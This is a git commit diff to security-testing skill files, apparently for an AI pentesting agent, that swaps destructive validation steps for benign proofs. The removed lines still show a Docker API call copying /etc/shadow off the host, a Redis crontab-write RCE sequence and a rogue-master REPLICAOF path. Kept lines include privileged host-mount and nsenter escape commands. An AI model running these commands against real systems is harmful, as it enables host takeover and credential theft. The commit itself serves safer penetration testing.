fix(skills): make review validation examples safe

strix/skills/cloud/docker.md

@@ -35,21 +35,23 @@ Docker is the most common container runtime, and its security failures are usual
 
 ### Exposed Docker Daemon (2375/2376) -> Host RCE
 
-The Docker API is root-equivalent by design. From `/containers/create` + `/containers/{id}/start`, run a container with the host filesystem mounted:
+The Docker API is root-equivalent by design. From `/containers/create` + `/containers/{id}/start`, use a benign command to prove host-root access without reading files or changing host state:
 
 ```
-# 1. Create a container mounting / to /host
+# 1. Create a short-lived container mounting / to /host
 curl -s -XPOST http://<host>:2375/containers/create \
   -H 'Content-Type: application/json' \
-  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","id > /host/tmp/pwned && cat /host/etc/shadow > /host/tmp/shadow"],
+  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","id; test -d /host/etc && echo host-root-mounted"],
        "Binds":["/:/host"],"Privileged":true}'
-# 2. Start it
+# 2. Start it (save the returned container id as <id>)
 curl -s -XPOST http://<host>:2375/containers/<id>/start
-# 3. Read the results from the host mount
-curl -s http://<host>:2375/containers/json
+# 3. Read the benign command output
+curl -s "http://<host>:2375/containers/<id>/logs?stdout=true&stderr=true"
+# 4. Remove the stopped test container
+curl -s -XDELETE "http://<host>:2375/containers/<id>?force=true"
 ```
 
-Non-destructive proof: write a marker file to `/host/tmp/`, or run `id` via `exec` and read output. The daemon API also exposes image pulls (registry creds), secrets in container env, and host process visibility.
+This proof does not read host files or write to the host filesystem. The daemon API also exposes image pulls (registry creds), secrets in container env, and host process visibility.
 
 ### docker.sock Inside a Container/CI Job
 
@@ -130,7 +132,7 @@ nsenter --target 1 --mount --uts --ipc --net --pid sh
 
 ## Validation
 
-1. Daemon RCE: show the API calls and a marker/command result from the host filesystem
+1. Daemon RCE: show the API calls, a benign `id` result, and confirmation that the host mount is visible
 2. Registry: show the catalog/tags and a secret extracted from image config/layers (redacted)
 3. docker.sock: demonstrate host daemon control from inside the container
 4. Privileged escape: mount/nsenter proof with a benign command, then restore state

strix/skills/technologies/exposed_databases.md

@@ -34,16 +34,19 @@ redis-cli -h <host> CONFIG GET dir
 redis-cli -h <host> CONFIG GET dbfilename
 ```
 
-**File write -> RCE** (runs as the Redis user, often root in containers):
+**Safe write-access validation:**
 
 ```
-redis-cli -h <host> CONFIG SET dir /var/spool/cron/crontabs
-redis-cli -h <host> CONFIG SET dbfilename root
-redis-cli -h <host> SET x "\n* * * * * <command>\n"
-redis-cli -h <host> SAVE
+redis-cli -h <host> SET strix_validation_marker proof EX 60
+redis-cli -h <host> GET strix_validation_marker
+redis-cli -h <host> DEL strix_validation_marker
 ```
 
-Alternatives: `~/.ssh/authorized_keys` (SSH key), web root webshell, `/etc/cron.d/`. **Master-replica**: `REPLICAOF <attacker> 6379` against a rogue Redis master can push arbitrary commands/file content (works when `SLAVEOF`/`REPLICAOF` not renamed). Lua `EVAL` executes server-side code but is sandboxed.
+This proves write access while expiring and removing the test key. Do not change
+`dir`/`dbfilename`, call `SAVE`, install cron or SSH payloads, or write webroots on
+live targets. Those file-write paths can be documented as theoretical impact and
+validated only in an isolated lab. **Master-replica** abuse and Lua `EVAL` should
+likewise be version-gated and tested only in a disposable environment.
 
 ### MongoDB (27017)
 
@@ -172,7 +175,7 @@ Default `neo4j/neo4j`; browser console at `http://<host>:7474/browser/`; Bolt on
 ## Pro Tips
 
 1. Enumerate the catalog before sampling data - it proves scope and keeps the footprint small
-2. Redis `CONFIG GET dir` + `SAVE` is the classic container RCE; check the Redis user/OS before firing file writes
+2. Redis `CONFIG GET dir` reveals the classic container RCE path; keep file-write validation to disposable labs and use the expiring marker-key proof on live targets
 3. Look for session/credential material first - it is often the highest-value data in caches
 4. Version-gate the historical CVEs (CouchDB 1.x/2.x, ES script engine, log4j)
 5. Pair with `ssrf`, `nosql_injection`, `weak_password_detection`, and the cloud skills for pivots

strix/skills/tooling/dirsearch.md

@@ -41,11 +41,16 @@ Common patterns:
 - Shallow quick sweep:
   `dirsearch -u https://target -e php,txt -t 20 --max-rate 50 -x 404 -q --format=json -o quick.json`
 - Recursive deep discovery:
-  `dirsearch -u https://target -w raft-medium-words.txt -e php,bak,old,env -r -R 3 -t 30 --max-rate 100 -x 404 -q --format=json -o deep.json`
+  `dirsearch -u https://target -e php,bak,old,env -r -R 3 -t 30 --max-rate 100 -x 404 -q --format=json -o deep.json`
 - Authenticated scan:
-  `dirsearch -u https://target -w api-words.txt -e json -t 10 --max-rate 30 --cookie "session=..." -x 404 -q`
+  `dirsearch -u https://target -e json -t 10 --max-rate 30 --cookie "session=..." -x 404 -q`
 - Extension-focused backup hunt:
-  `dirsearch -u https://target -w common.txt -e bak,old,swp,sav,orig,dist,env,sql -t 20 -x 404 -q`
+  `dirsearch -u https://target -e bak,old,swp,sav,orig,dist,env,sql -t 20 -x 404 -q`
+
+These examples intentionally use dirsearch's bundled `db/dicc.txt` default so they
+run in the shipped sandbox. If a larger API or raft wordlist has been provisioned,
+pass its verified absolute path with `-w`; do not assume that a named wordlist is
+installed.
 
 Critical correctness rules:
 - Always exclude the baseline noise (`-x 404`, and consider `403` unless you intend to test bypasses)